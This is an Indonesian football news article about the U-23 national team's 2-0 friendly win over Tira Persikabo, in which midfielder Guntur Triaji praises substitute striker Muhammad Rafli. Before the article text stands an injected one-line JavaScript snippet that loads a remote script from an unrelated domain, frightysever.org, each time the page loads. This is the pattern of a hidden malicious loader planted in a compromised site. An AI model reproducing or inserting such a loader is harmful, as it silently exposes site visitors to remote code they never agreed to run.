(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sepak Bola

Bantu Timnas Hantam Tira Persikabo, M Rafli Banjir Pujian

KANALKALIMANTAN.COM – Penyerang Timnas Indonesia U-23, Muhammad Rafli banjir puja-puji usai mencetak satu gol dalam kemenangan 2-0 skuad Garuda Muda atas Tira Persikabo dalam laga uji coba di Stadion Madya, Senayan, Jakarta, Jumat (5/3/2021).

Muhammad Rafli yang tampil dari bangku cadangan usai menggantikan Dendy Sulistyawan di awal babak kedua, menggandakan keunggulan Timnas U-23pada menit ke-48.

Gelandang Tira Persikabo Guntur Triaji menilai masuknya Rafli di babak kedua, berhasil memberi dampak signifikan bagi lini serang Timnas Indonesia U-23.

Duetnya bersama Kushedya Hari Yudo yang merupakan rekan satu timnya di Arema FC, disebut sukses merepotkan barisan pertahanan Tira Persikabo.

“Saya rasa yang menonjol M Rafli. Dia striker yang tajam. Baru main di babak kedua, tapi bisa ubah permainan dan cetak gol,” kata Guntur dalam jumpa pers usai pertandingan.

“Hasil pertandingan yang jelas kami harap ingin yang lebih baik. Coba peluang di awal kita bisa manfaatkannya, pasti pertandingan beda,” ia menambahkan.

Terkait pertandingan, Guntur mengaku sangat menikmati laga ini. Meski kalah, laga menghadapi Timnas U-23 disebutnya penting untuk bahan evaluasi sebelum tampil di Piala Menpora 2021.

Piala Menpora yang merupakan turnamen pramusim jelang Liga 1 2021 akan bergulir pada 21 Maret sampai dengan 25 April mendatang. Tira Persikabo akan bersaing dengan 17 klub lainnya untuk menjadi yang terbaik.

“Malam ini laga sangat menarik meski kami kalah. Ini jadi evaluasi kami menatap Piala Menpora, bahkan ke Liga 1,” jelasnya.

“Saya wakili teman-teman sangat senang setelah satu tahun break tak ada pertandingan, tentu kami senang.”

“Semoga dengan pertandingan ini ke depannya bisa jalan dengan baik, mau itu Piala Menpora atau liga,” pungkasnya.(Suara)

Editor : Suara